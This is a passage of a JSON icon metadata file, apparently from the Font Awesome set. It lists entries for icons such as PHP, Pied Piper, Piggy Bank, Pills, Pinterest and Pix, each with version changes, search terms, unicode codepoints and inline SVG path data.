        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 0H576c35.3 0 64 28.7 64 64V288c0 35.3-28.7 64-64 64H256c-35.3 0-64-28.7-64-64V64c0-35.3 28.7-64 64-64zM476 106.7C471.5 100 464 96 456 96s-15.5 4-20 10.7l-56 84L362.7 169c-4.6-5.7-11.5-9-18.7-9s-14.2 3.3-18.7 9l-64 80c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6h80 48H552c8.9 0 17-4.9 21.2-12.7s3.7-17.3-1.2-24.6l-96-144zM336 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM64 128h96V384v32c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V384H512v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64zm8 64c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H72zm0 104c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V312c0-8.8-7.2-16-16-16H72zm0 104c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V416c0-8.8-7.2-16-16-16H72zm336 16v16c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V416c0-8.8-7.2-16-16-16H424c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 0H576c35.3 0 64 28.7 64 64V288c0 35.3-28.7 64-64 64H256c-35.3 0-64-28.7-64-64V64c0-35.3 28.7-64 64-64zM476 106.7C471.5 100 464 96 456 96s-15.5 4-20 10.7l-56 84L362.7 169c-4.6-5.7-11.5-9-18.7-9s-14.2 3.3-18.7 9l-64 80c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6h80 48H552c8.9 0 17-4.9 21.2-12.7s3.7-17.3-1.2-24.6l-96-144zM336 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM64 128h96V384v32c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V384H512v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64zm8 64c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H72zm0 104c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V312c0-8.8-7.2-16-16-16H72zm0 104c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V416c0-8.8-7.2-16-16-16H72zm336 16v16c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V416c0-8.8-7.2-16-16-16H424c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "php": {
    "changes": ["5.0.5"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f457",
    "label": "PHP",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z"
      }
    },
    "free": ["brands"]
  },
  "pied-piper": {
    "changes": ["4.6.0", "5.0.0", "5.0.10", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2ae",
    "label": "Pied Piper Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z\"/></svg>",
        "viewBox": [0, 0, 480, 512],
        "width": 480,
        "height": 512,
        "path": "M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z"
      }
    },
    "free": ["brands"]
  },
  "pied-piper-alt": {
    "changes": ["4.1.0", "5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a8",
    "label": "Alternate Pied Piper Logo (Old)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z"
      }
    },
    "free": ["brands"]
  },
  "pied-piper-hat": {
    "changes": ["5.0.10"],
    "ligatures": [],
    "search": {
      "terms": ["clothing"]
    },
    "styles": ["brands"],
    "unicode": "f4e5",
    "label": "Pied Piper Hat (Old)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z"
      }
    },
    "free": ["brands"]
  },
  "pied-piper-pp": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a7",
    "label": "Pied Piper PP Logo (Old)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z"
      }
    },
    "free": ["brands"]
  },
  "piggy-bank": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4d3"]
      }
    },
    "changes": [
      "5.0.9",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bank", "save", "savings"]
    },
    "styles": ["solid"],
    "unicode": "f4d3",
    "label": "Piggy Bank",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766475,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M400 96l0 .7c-5.3-.4-10.6-.7-16-.7H256c-16.5 0-32.5 2.1-47.8 6c-.1-2-.2-4-.2-6c0-53 43-96 96-96s96 43 96 96zm-16 32c3.5 0 7 .1 10.4 .3c4.2 .3 8.4 .7 12.6 1.3C424.6 109.1 450.8 96 480 96h11.5c10.4 0 18 9.8 15.5 19.9l-13.8 55.2c15.8 14.8 28.7 32.8 37.5 52.9H544c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H512c-9.1 12.1-19.9 22.9-32 32v64c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H256v32c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V416c-34.9-26.2-58.7-66.3-63.2-112H68c-37.6 0-68-30.4-68-68s30.4-68 68-68h4c13.3 0 24 10.7 24 24s-10.7 24-24 24H68c-11 0-20 9-20 20s9 20 20 20H99.2c12.1-59.8 57.7-107.5 116.3-122.8c12.9-3.4 26.5-5.2 40.5-5.2H384zm64 136a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M400 96l0 .7c-5.3-.4-10.6-.7-16-.7H256c-16.5 0-32.5 2.1-47.8 6c-.1-2-.2-4-.2-6c0-53 43-96 96-96s96 43 96 96zm-16 32c3.5 0 7 .1 10.4 .3c4.2 .3 8.4 .7 12.6 1.3C424.6 109.1 450.8 96 480 96h11.5c10.4 0 18 9.8 15.5 19.9l-13.8 55.2c15.8 14.8 28.7 32.8 37.5 52.9H544c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H512c-9.1 12.1-19.9 22.9-32 32v64c0 17.7-14.3 32-32 32H416c-17.7 0-32-14.3-32-32V448H256v32c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V416c-34.9-26.2-58.7-66.3-63.2-112H68c-37.6 0-68-30.4-68-68s30.4-68 68-68h4c13.3 0 24 10.7 24 24s-10.7 24-24 24H68c-11 0-20 9-20 20s9 20 20 20H99.2c12.1-59.8 57.7-107.5 116.3-122.8c12.9-3.4 26.5-5.2 40.5-5.2H384zm64 136a24 24 0 1 0 -48 0 24 24 0 1 0 48 0z"
      }
    },
    "free": ["solid"]
  },
  "pills": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f484"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["drugs", "medicine", "prescription", "tablets"]
    },
    "styles": ["solid"],
    "unicode": "f484",
    "label": "Pills",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M112 96c-26.5 0-48 21.5-48 48V256h96V144c0-26.5-21.5-48-48-48zM0 144C0 82.1 50.1 32 112 32s112 50.1 112 112V368c0 61.9-50.1 112-112 112S0 429.9 0 368V144zM554.9 399.4c-7.1 12.3-23.7 13.1-33.8 3.1L333.5 214.9c-10-10-9.3-26.7 3.1-33.8C360 167.7 387.1 160 416 160c88.4 0 160 71.6 160 160c0 28.9-7.7 56-21.1 79.4zm-59.5 59.5C472 472.3 444.9 480 416 480c-88.4 0-160-71.6-160-160c0-28.9 7.7-56 21.1-79.4c7.1-12.3 23.7-13.1 33.8-3.1L498.5 425.1c10 10 9.3 26.7-3.1 33.8z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M112 96c-26.5 0-48 21.5-48 48V256h96V144c0-26.5-21.5-48-48-48zM0 144C0 82.1 50.1 32 112 32s112 50.1 112 112V368c0 61.9-50.1 112-112 112S0 429.9 0 368V144zM554.9 399.4c-7.1 12.3-23.7 13.1-33.8 3.1L333.5 214.9c-10-10-9.3-26.7 3.1-33.8C360 167.7 387.1 160 416 160c88.4 0 160 71.6 160 160c0 28.9-7.7 56-21.1 79.4zm-59.5 59.5C472 472.3 444.9 480 416 480c-88.4 0-160-71.6-160-160c0-28.9 7.7-56 21.1-79.4c7.1-12.3 23.7-13.1 33.8-3.1L498.5 425.1c10 10 9.3 26.7-3.1 33.8z"
      }
    },
    "free": ["solid"]
  },
  "pinterest": {
    "changes": ["2.0.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f0d2",
    "label": "Pinterest",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z"
      }
    },
    "free": ["brands"]
  },
  "pinterest-p": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f231",
    "label": "Pinterest P",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 0-46.2-18-46.2-43.8 0-37.8 26.4-74.4 26.4-113.4 0-66.2-93.9-54.2-93.9 25.8 0 16.8 2.1 35.4 9.6 50.7-13.8 59.4-42 147.9-42 209.1 0 18.9 2.7 37.5 4.5 56.4 3.4 3.8 1.7 3.4 6.9 1.5 50.4-69 48.6-82.5 71.4-172.8 12.3 23.4 44.1 36 69.3 36 106.2 0 153.9-103.5 153.9-196.8C384 71.3 298.2 6.5 204 6.5z"
      }
    },
    "free": ["brands"]
  },
  "pix": {
    "changes": ["6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e43a",
    "label": "Pix",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014458,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M242.4 292.5C247.8 287.1 257.1 287.1 262.5 292.5L339.5 369.5C353.7 383.7 372.6 391.5 392.6 391.5H407.7L310.6 488.6C280.3 518.1 231.1 518.1 200.8 488.6L103.3 391.2H112.6C132.6 391.2 151.5 383.4 165.7 369.2L242.4 292.5zM262.5 218.9C256.1 224.4 247.9 224.5 242.4 218.9L165.7 142.2C151.5 127.1 132.6 120.2 112.6 120.2H103.3L200.7 22.76C231.1-7.586 280.3-7.586 310.6 22.76L407.8 119.9H392.6C372.6 119.9 353.7 127.7 339.5 141.9L262.5 218.9zM112.6 142.7C126.4 142.7 139.1 148.3 149.7 158.1L226.4 234.8C233.6 241.1 243 245.6 252.5 245.6C261.9 245.6 271.3 241.1 278.5 234.8L355.5 157.8C365.3 148.1 378.8 142.5 392.6 142.5H430.3L488.6 200.8C518.9 231.1 518.9 280.3 488.6 310.6L430.3 368.9H392.6C378.8 368.9 365.3 363.3 355.5 353.5L278.5 276.5C264.6 262.6 240.3 262.6 226.4 276.6L149.7 353.2C139.1 363 126.4 368.6 112.6 368.6H80.78L22.76 310.6C-7.586 280.3-7.586 231.1 22.76 200.8L80.78 142.7H112.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
